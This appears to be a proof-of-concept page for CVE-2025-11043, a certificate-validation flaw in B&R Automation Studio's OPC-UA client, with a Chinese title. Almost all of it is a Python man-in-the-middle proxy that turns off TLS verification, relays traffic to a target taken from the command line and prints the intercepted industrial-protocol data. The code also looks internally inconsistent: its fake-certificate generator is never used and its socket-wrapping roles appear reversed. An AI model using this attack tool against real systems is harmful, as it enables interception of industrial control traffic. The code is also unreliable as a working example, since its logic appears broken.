CVE-2025-11043: B&R Automation Studio OPC-UA/ANSL TLS证书验证漏洞

# CVE-2025-11043 PoC - Certificate Validation Bypass # Target: B&R Automation Studio OPC-UA/ANSL Client # Environment: Network accessible to target import socket import ssl import struct from OpenSSL import crypto def generate_fake_certificate(): """Generate a self-signed certificate for MITM attack""" key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = "Target Server CN" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_pubkey(key) cert.sign(key, 'sha256') return cert, key def create_mitm_proxy(target_host, target_port, listen_port=4840): """Create MITM proxy for OPC-UA connection""" context = ssl.create_default_context() context.check_hostname = False # Bypass hostname verification context.verify_mode = ssl.CERT_NONE # Disable certificate verification server_context = ssl.create_default_context() mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) mitm_socket.bind(('0.0.0.0', listen_port)) mitm_socket.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Redirecting to {target_host}:{target_port}") while True: client_socket, addr = mitm_socket.accept() print(f"[+] Connection from {addr}") try: # Connect to legitimate server server_socket = socket.create_connection((target_host, target_port)) # Wrap with SSL (vulnerable context) secure_client = context.wrap_socket(client_socket, server_side=False) secure_server = server_context.wrap_socket(server_socket, server_side=False) # Forward traffic (intercept/modify as needed) while True: data = secure_client.recv(4096) if not data: break print(f"[*] Intercepted: {data.hex()}") secure_server.sendall(data) response = secure_server.recv(4096) secure_client.sendall(response) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() server_socket.close() if __name__ == "__main__": # Usage: python cve-2025-11043-poc.py <target_ip> <target_port> import sys if len(sys.argv) < 3: print("Usage: python cve-2025-11043-poc.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) create_mitm_proxy(target_ip, target_port)